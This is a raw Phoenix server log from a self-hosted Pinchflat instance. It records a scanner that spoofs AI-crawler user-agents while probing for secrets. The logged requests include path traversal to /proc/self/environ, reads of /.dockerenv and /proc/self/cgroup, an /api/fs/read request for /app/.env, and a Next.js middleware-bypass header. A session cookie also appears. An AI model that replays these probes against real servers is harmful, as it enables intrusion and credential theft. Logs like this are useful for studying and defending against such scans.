%{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29502.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33294}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middlewar (truncated) 16:49:04.456 [info] GET /.dockerenv 16:49:04.456 [debug] QUERY OK source="settings" db=0.1ms idle=59.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.456 [debug] QUERY OK source="settings" db=0.0ms idle=30.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.456 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.456 [error] #PID<0.29505.0> running PinchflatWeb.Endpoint (connection #PID<0.29504.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.dockerenv ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dockerenv", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33298}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29505.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.dockerenv", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61PwcUG-p-UgABvdh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dockerenv", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33298}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dockerenv", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33298}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, (truncated) 16:49:04.467 [info] GET /proc/self/cgroup 16:49:04.467 [debug] QUERY OK source="settings" db=0.0ms idle=40.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.467 [debug] QUERY OK source="settings" db=0.1ms idle=30.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.467 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.467 [error] #PID<0.29507.0> running PinchflatWeb.Endpoint (connection #PID<0.29506.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /proc/self/cgroup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /proc/self/cgroup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29506.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/proc/self/cgroup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33304}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29507.0>, params: %{}, path_info: ["proc", "self", "cgroup"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/proc/self/cgroup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61PzCRHqFmPQAAH6D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29506.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/proc/self/cgroup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33304}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /proc/self/cgroup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29506.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/proc/self/cgroup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33304}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, (truncated) 16:49:04.502 [info] GET /settings 16:49:04.502 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 16:49:04.503 [debug] QUERY OK source="settings" db=0.1ms idle=65.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.503 [info] GET /media_profiles 16:49:04.503 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 16:49:04.503 [debug] QUERY OK source="settings" db=0.0ms idle=46.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.503 [debug] QUERY OK source="settings" db=0.1ms idle=46.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.503 [debug] QUERY OK source="media_profiles" db=0.1ms idle=35.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 16:49:04.503 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.503 [debug] QUERY OK source="settings" db=0.2ms idle=36.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.503 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.504 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.504 [info] Sent 200 in 1ms 16:49:04.504 [info] Sent 200 in 1ms 16:49:04.534 [info] GET /api/fs/read 16:49:04.534 [debug] QUERY OK source="settings" db=0.0ms idle=30.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.534 [debug] QUERY OK source="settings" db=0.0ms idle=30.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.534 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.534 [error] #PID<0.29513.0> running PinchflatWeb.Endpoint (connection #PID<0.29512.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/fs/read?allowOutsideWorkspace=true&path=/app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/fs/read (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29512.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/fs/read", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33324}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "allowOutsideWorkspace=true&path=/app/.env", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29513.0>, params: %{"allowOutsideWorkspace" => "true", "path" => "/app/.env"}, path_info: ["api", "fs", "read"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"allowOutsideWorkspace" => "true", "path" => "/app/.env"}, query_string: "allowOutsideWorkspace=true&path=/app/.env", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/fs/read", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61QC_h1B3niwAAH7D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29512.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/fs/read", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33324}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "allowOutsideWorkspace=true&path=/app/.env", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/fs/read (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29512.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/fs/read", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33324}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 